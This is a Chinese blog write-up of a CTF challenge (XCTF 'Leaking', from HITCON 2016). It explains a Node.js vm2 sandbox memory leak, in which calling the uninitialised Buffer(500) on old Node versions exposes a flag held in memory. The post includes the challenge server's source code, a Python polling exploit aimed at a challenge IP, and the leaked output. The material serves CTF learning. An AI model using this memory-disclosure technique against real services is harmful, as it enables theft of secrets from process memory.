

xctf攻防世界Leaking wp

原创

sash1mi 于 2021-01-15 15:16:27 发布 1267 收藏 5

分类专栏: [CTF writeup](#) 文章标签: [nodejs python wp](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_46676743/article/details/112669105

版权



[CTF](#) 同时被 2 个专栏收录

14 篇文章 1 订阅

订阅专栏




[writeup](#)

12 篇文章 0 订阅

订阅专栏

leaking

最佳Writeup由admin提供

难度系数:  10

题目来源: [HITCON 2016](#)

题目描述: 暂无

题目场景: [点击获取在线场景](#)

题目附件: 暂无

https://blog.csdn.net/weixin_46676743

访问题目地址

```

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
  VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
  res.header("Content-Type", "text/plain");

  /*   Orange is so kind so he put the flag here. But if you can guess correctly :P   */
  eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
  if (req.query.data && req.query.data.length <= 12) {
    var vm = new VM({
      timeout: 1000
    });
    console.log(req.query.data);
    res.send("eval ->" + vm.run(req.query.data));
  } else {
    res.send(fs.readFileSync(__filename).toString());
  }
});

app.listen(3000, function() {
  console.log("listening on port 3000!");
});

```

简单分析可以看出是一道关于node.js沙箱逃逸的问题，首先定义变量 **flag**，然后可以在沙箱里面执行任意的命令，那问题是如何逃逸出去呢？

Google了一下：

在较早一点的 node 版本中 (8.0 之前)，当 Buffer 的构造函数传入数字时，会得到与数字长度一致的一个 Buffer，并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 `Buffer.allocUnsafe(size)` 来获得未清空的内存。

https://blog.csdn.net/weixin_46676743

这儿的环境是 8.0 之前的，所以我们使用 `Buffer()` 来读取内存，这个和 Linux 读内存原理差不多直接上EXP：

```

# encoding=utf-8

import requests
import time
url = 'http://your ip:port/?data=Buffer(500)'
response = ''
while 'flag' not in response:
    req = requests.get(url)
    response = req.text
    print(req.status_code)
    time.sleep(0.1)
    if 'flag{' in response:
        print(response)
        break

```

拿到flag

```

1 # encoding=utf-8
2
3 import requests
4 import time
5 url = 'http://220.249.52.134:35813/?data=Buffer(500)'
6 response = ''
7 while 'flag' not in response:
8     req = requests.get(url)
9     response = req.text
10    print(req.status_code)
11    time.sleep(0.1)
12    if 'flag{' in response:
13        print(response)
14        break

```

10
 10
 10
 10
 10
 10
 10
 10
 val -->Zuh4zfpki0M4Z0GRsUvjpi0vWzPSG4va5nbU ...eval ...arguments ...flag{another_h34rtbleed_in_n0dejs} ...prototype ...

flag{4nother_h34rtbleed_in_n0dejs}

思考：node.js沙箱逃逸的原理是甚么？



[创作打卡挑战赛 >](#)

[赢取流量/现金/CSDN周边激励大奖](#)